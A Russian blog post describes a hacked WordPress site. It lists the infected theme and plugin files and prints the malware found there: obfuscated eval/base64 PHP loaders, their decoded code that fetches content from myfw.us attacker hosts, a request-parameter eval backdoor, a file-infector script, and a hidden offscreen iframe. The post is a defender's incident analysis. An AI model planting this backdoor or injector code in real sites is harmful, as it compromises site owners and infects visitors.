Взломали WordPress

Сегодня (2 мая 2013) на сайте vorchun.ru беда: дважды взламывали CMS WordPress. Способ проникновения пока не выяснил. Настоятельно рекомендую использовать на компьютере брандмауэр с функцией контроля компонентов (мой выбор Outpost Firewall). Обновление всех компонентов WordPress не помогло. Сейчас отключены плагины, без которых можно «прожить», буду смотреть на результат.


Модификации подвергались следующие файлы

Скрытый текст
/wp-content/plugins/hidden-content/hiddent-content.php
/wp-content/plugins/sabre/sabre-define.php
/wp-content/themes/coraline/footer.php
/wp-content/themes/coraline/full-width-page.php
/wp-content/themes/coraline/functions.php
/wp-content/themes/coraline/header.php
/wp-content/themes/coraline/index.php
/wp-content/themes/coraline/page.php
/wp-content/themes/coraline/sidebar-footer.php
+ дополнительно те же файлы других тем, которые не использовались

В файлы был дописан следующий код, который DrWeb определял как вирус PHP.Siggen.19

<?php eval(gzinflate(base64_decode('fVRtb9s2EP7sAvsPF0MopUSV5CXtithKU3TeVqxNCsfZPgSZoFKUzUSiVJKKEzT+7z2Ssp1i6wzZMu+eu3vujbwEf69gJRes8Ekp618VCYKvPz0bOOFGBuEoGKMUn7ITVPNGAGqyogLf62QVgLEZcHS30WfsniutfEJRn3HBNXp2sIFHl5DCVuFcjK3KChXTTYtiugzh3eXsw/mneTabzi9nZ/PZ27OL36azEEa9gdd0euOM3TMKxqzXGT5OIaVorAL20hSSAHqzMq8UexKZVo1iT1ysgSEAvm7gvGLZgumMNkIzgek56muDlUx3UoCWvPYN3npY/0fVqDTJcWELPfB4lSotKyasbOw1KSE2eNlIpMIxbjIGfE/wpzL/Dg5MAlGK+CuPX8M/QPadSc/Ba34UG8njyw9Q7qJjo0uZ1wyjkInSDxU7iSrRCUwa2kZxY3mcf1ZN1Wk2hoqV+vjFKDk8bO/HgG3Cwyg5Mof1JHb2MCn4HdAqVyodWl/Dkwl3UZSk6XCpdXscxwXT4svi9vNNvlxE9UO5ijoV33zpmHyIkWfULts3d0ymThRVuWZKRzdqCCte6GU6PEpeD2HJ+GKp8fDzIYaJXRz8gxxOyBhMmDLvKg1WYXOmTcEqLm5Nzv/HRdB4IegPebiSmyHb27p0Pd32YVNdN0yuH1hzmZL4LpexrlvnxCuRC8ojEiumVEaiunhpty+z9iToY/l7dgb75fLKAB4fQfOa+QG8sPNZ25PRnMCrZP+lafWg37uiomaK7eb6O867bTGIPgV3Lls0OC2b1oxnGQJZ9ReE+ZQrybWJ1YZPBtu46F0ixG6UgWxEa/cye9VjtsWqqMM4yA5x2gnD0yS1LSSWjFpq/17JHtW7xTMN3uzo4en4u770bfG63PQgu5jO/prOrsgf8/mn7BJP2dvfp2dzcm2wpiatZIuszjVd+iT+m4uiWamYhIAOAnj+HL7Tf7x4P308b5nMtxBXPrySGplJ1jZSc7HwE0d602Wu8BL0vezd+fmf76dXJMs6XZeSXNsQnihp+nSdYXO1nqIZbZpbjnf3xiaUuSj8UThKkiQI3bAcvH51lCT7v4Qk7mdr0EouMCS63lUZv/h8Aw==')));?>

Декодированный код выглядит следующим образом

if (!defined('frmDs'))
{
 define('frmDs' ,1);
 function frm_dl ($url)
 {
  if (function_exists('curl_init'))
  {
   $ch = curl_init($url);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   $out = curl_exec ($ch);
   if (curl_errno($ch) !== 0) $out = false;
   curl_close ($ch);
  } else
  {
   $out = file_get_contents($url);
  }
  return trim($out);
 }
 
 function frm_crpt($in)
 {
  $il=strlen($in);$o='';
  for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
  return $o;
 }
 
 function frm_getfrm()
 {
  $defframe = '';
  //default frame
  $codelink = 'http://detnqgkbjahg.myfw.us/nc/gnc.php?ver=jquery.latest.js';
  if (!$codelink){ return $defframe; }
  $dr='/var/tmp';
  $f = $dr.'/sess_'.md5('frm_frame');
  if(!file_exists($f) || time() - filemtime($f) > 60*5)
  {
   $dlc = frm_dl($codelink);
   if ($dlc)
   {
    if ($fp = @fopen($f, 'w'))
    {
      fwrite($fp, frm_crpt($dlc));
      fclose($fp);
    } else return $dlc;
   } else @unlink($f);
  }
  $fc = @file_get_contents($f);
  return ($fc)?frm_crpt($fc):$defframe;
 }
 $ua = $_SERVER['HTTP_USER_AGENT'];
 if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) )
 {
  error_reporting(0);
  if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() )
  {
   @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
   print($nfc);
  } 
 }
}

Update.
После анализа логов Apache был обнаружен бэкдор /wp-content/plugins/parasite-eliminator/aycyleqs.php
По дате создания бэкдор годичной давности. Использование бэкдора происходит с IP 91.224.160.25, запросы приходят каждые четыре часа.
Бэкдор «от души» закодирован. Если хотите самостоятельно посмотреть исходный код, то eval надо заменить на echo. Например, вместо eval(base64_decode … написать echo(base64_decode ….
Оригинальный код бэкдора

<?php
echo(base64_decode('LyptbUp1Ki9ldmFsLyo7QmUndCovKC8qWFdRViwqL2Jhc2U2NF9kZWNvZGUvKko+O3xJLSovKC8qTTsuQ1cqLydMeW90TFg1ZEtpOXBaaThxYVV4amFUd3FMeWd2S254d01Db3ZhWE56WlhRdktrcDBUVmtxTHlndktscDRWR0VsS2k4a1gxSkZVVlZGVTFRdktrNTZaVnNyS2k5Ykx5cGVUeWtzTVNvdkonLypDO3tLTjYqLy4vKlQxUG1PKi8nM1Y2Snk4cU1XaFNPRXhmZUR3cUx5NHZLbmtoTzBrN0tpOG5iblZqSnk4cVZDeGhTU2hQZXpzcUwxMHZLakY1WVhwYVlVQmFPU292THlvMFRFZ3FMeWt2S2s0d2JDb3ZMeXBRUUdnL1BWJy8qOUA8RmJhMCovLi8qfkZfdXMqLydBcUx5a3ZLalJkZm1ncUwyVjJZV3d2S2tsOVNWQmJPU292S0M4cWFEZ21Tam'.'dxTDNOMGNtbHdjMnhoYzJobGN5OHFZbDEwS2k4b0x5cGZia05JUUVZcUx5UmZVa1ZSVlVWVFZDOHFienAnLypxJm0mKi8uLyplVi4qLyc5WFVkTEtpOWJMeXBmT2xVcUx5ZDFKeThxWkR3L1lTWXFMeTR2S25SQ1VIa3FMeWQ2Snk4cVpYUW1TQ292TGk4cU4zUW1Qak4xS2k4bmJpY3ZLbTBnWFQ0cUx5NHZLakp3VnpRcUx5ZDEnLyowSTAqLy4vKmNBTikqLydZeWN2S2paTlhqdFhQM3NxTDEwdktpVjdUajRxTHk4cUt5ZzFLaThwTHlwTmMweFNZQ292THlwZE1tTWdRU292S1M4cVVqbFlSMkJNUkU4cUx5OHFYMlZ1T0Nvdk95OHFhSDA0T25FcUx3PT0nLyopc2FSKi8pLyo6JVMqLy8qX3Q9Ki8pLypxU3xnfCovLyp7VmE9Ki87Lyo4PnphOV0hKi8=')); ?>

Декодированный (дважды) код бэкдора, с удалением всех комментариев. Как понимаю, куча рэндомных комментариев добавлена, чтобы обмануть антивирусы.

if(isset($_REQUEST['uz'.'nuc']))eval(stripslashes($_REQUEST['u'.'z'.'n'.'uc']));

То есть бэкдор запускает на выполнение код, переданный ему в POST-запросе параметром uznuc. Поставил honeyspot, посмотрим что передается в запросах.

Update 2
Отловил запрос. Кроме параметра uznuc передается ещё четыре параметра, которые используются скриптом.

eval(gzinflate(base64_decode('7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8iivOtomnydut3+/1fnf7EV6ev33zv45/Ols1F9tMff//OnV/8u62ydt58dvGDYnleZm2+Ncma/NP933+WT6tZPvDW4S9JY3Any9X1O4U6X53X2SJv5tnkNsDtqwOg86Jp51OBjXfLYvn2NnDdewOAy+r6B5cCd5afM863gWtfI7B37woRU4tZGow/tZB/4+Q3Tqj/378tFvnvXxaLot3aPdjZuXOYFhfLqs5//3WT179/Nqnqdqut1/mdQ7xxvl5O26Japuf14veflenW77auyzvpL/6Nkx8rztMt8/Xvn7+jwTZbH0/p69+/WBbtx3ek1Y/9btN5+llqPxcAh/iGPyOUqhV9Op2P0pOvXj3/8uUbGumbr169ePPq+MXrZ6evRumutP/dqnVrQOXv8mmKt+Qr4CKf1/Wy4s/T3/Wzz9KdO6m+dZ6VTe66nZZVkzsAvyTN6ev0F5vGRZn//hdErGm1bPMlDUyw/iXUtM7bdb1ksPTmLwGR7t6dzvPp25RaL/Np+xsnv9s8u8z1L69vYKlMYGaL5p5g/m5TtGIKe18BMbzStPWqIhSmo/TjxwVPZtrU088+ljEydAbzY51+MY08OsXTcgaxzGcf3916/Pv+HvRJml9m5e+7Nf7k9/h97xz+vr/H0c/4f9/5fZtv3S2aj0PsfQ7TEZiPqFvC9/ev81WZTfOtj3+x4b9f8nE6ctyI3wMohxuBGJr8ko9HNGneKO/8HpZejz7+2AMaAvzs48d2qFtDIvb7fvzxWD/Jl/zJxQ8IX27p4N4Zf/z7EnPfOfw9jkAVIuyqLpbt1seP67xZVcsmP/r4TodckFCVh9/tKiOWmq3yekGj3Pl0f18QZSH+LM3frUr0/PHP/MzHI30RDc5JQrPpXGGlGQn8SgWMNMvvygyrMkhf/MzPbP2uRfP7X9VFm01KYH/nF/5CtKmulnmNP3/Xz4i9F9cXxWyLxgLObYulcAsA/m7ns89+z/NqlS+p8ejj+mOZZeIwQIEK+Qy/LPAbwB26L1efETVA5mY9oUncapg851sf/+7VxyNuQENnLO+Mtu/dGR3oy6CXAEgfpx6VdJQkt/NFNQM6wbfy8i/hfwWJyfr8PK8/OyeCzTAQ7rQpfsCI3jk8Z9HHFwZrfWFV5xeW5XxRGRFjaSOLa1cSoMMVjv1s/NHvW/++y4/G+sUhy+CPReibfnxlCfxj55g1xo8GanrtIf1jv2dbrZkfRnZKzFfDlPRIyN/71MM/oiiIj8DOd0N+/n8CAAD//w==')));

После декодирования получаем следующий код, исполняемый бэкдором

if (isset($_REQUEST['jansgaj'])) {$paths=gzinflate(base64_decode($_REQUEST['jansgaj']));}
if (isset($_REQUEST['bnpyx'])) {$phpframeshab=gzinflate(base64_decode($_REQUEST['bnpyx']));}
if (isset($_REQUEST['eisthc'])) {$codelink=gzinflate(base64_decode($_REQUEST['eisthc']));}
if (isset($_REQUEST['loyzv'])) {$defframe=gzinflate(base64_decode($_REQUEST['loyzv']));}
//$paths $codelink $phpframeshab $defframe
 
set_time_limit(1800); ignore_user_abort(true);
 
function frm_dl ($url) {
	if (function_exists('curl_init')) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$out = curl_exec ($ch);
		if (curl_errno($ch) !== 0) $out = false;
		curl_close ($ch);
	} else {$out = file_get_contents($url);}
	return $out;
}
 
//check connect
$haveconnect = false;
if (isset($codelink)){
	$c = frm_dl($codelink);
	if (strpos($c, '<iframe src=') !== false){
		$haveconnect = true;
	}
}
 
$phpframepat='/(<\?php eval\(.+?\);\?>|eval\(.+?\);)\s*/is';
if (isset($phpframeshab)){
	$phpframe = str_replace('{defframe}' , $defframe , $phpframeshab);
	$phpframe = str_replace('{codelink}', ($haveconnect)?$codelink:'', $phpframe);
	$phpframe='<php eval(gzinflate(base64_decode(\''.base64_encode(gzdeflate($phpframe)).'\')));?>';
}
print('<response>');
if (isset($paths)) {
	$wantedperm = 0644;
	$paths = explode('||',$paths);
	foreach($paths as $p) {
		if(!file_exists($p)||(!is_writable($p)&&fileowner($p)!=getmygid())) continue;
		if($fd=@fopen($p,'r')){
			$filetime=filemtime($p);
			$filep=intval(substr(sprintf('%o',fileperms($p)),-3),8);
			if ($filep < $wantedperm) {
				chmod($p, $wantedperm);
			}
 
			$buffer=fread($fd,filesize($p));fclose($fd);
			$buffer=preg_replace($phpframepat,'',$buffer);
			if(isset($phpframe)){$buffer=$phpframe."\r\n".$buffer;}
 
			if($fd=@fopen($p, 'w')){
				fwrite($fd, $buffer);fclose($fd);
				@touch($p,$filetime);
				if ($filep < $wantedperm) chmod($p, $filep);
			}
		}
	}
}
exit('</response>');

В параметре jansgaj хранится набор файлов вашего сайта, которые следует модифицировать. В bnpyx — код, который дописывается в указанные файлы. В eisthc — URL, с которого подкачивается разная дрянь (http://gfdwowolvt.myfw.us/nc/gnc.php?ver=jquery.latest.js). В loyzv — HTML-код, отображаемый за пределами экрана в браузере посетителя взломанного сайта

<style>.wrvii { position:absolute; left:-920px; top:-696px; }</style> <div class="wrvii"><iframe src="http://gfdwowolvt.myfw.us/jquery/get.php?ver=jquery.latest.js" width="495" height="364"></iframe></div>

Осталось невыясненным главное — как бэкдор попал на сайт. Сначала склонялся к мысли, что в свое время был скачан «порченный» плагин parasite-eliminator, содержащий этот бэкдор. Потом плагин был отключен за ненадобностью (blacklist по ключевым словам эффективнее), а вот папку плагина не стер, как оказалось зря.
Против этой версии работает то, что дата создания файла с бэкдором 6 мая 2012, а в августе 2012-го на сайте был глобальный «перезалив» файлов из бэкапа и файлов «старше» даты восстановления быть не должно. Получается, что бэкдор попал через уязвимость в каком не обновленном плагине WordPress.

В заключение хочу настоятельно рекомендовать обновлять WordPress и его плагины, сразу после выхода новых версий (даже если плагин не используется, но по какой-то причине вы его оставили на сайте). Так же стоит принять во внимание, что плагин «belavir (php MD5)» относится к разряду «must have», без него о факте взлома блога узнал бы только от Яндекса («этот сайт может угрожать безопасности вашего компьютера»).

Накропал сей текст Vor’Chun
Адрес этой страницы http://vorchun.ru/news/vzlomali-wordpress/

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *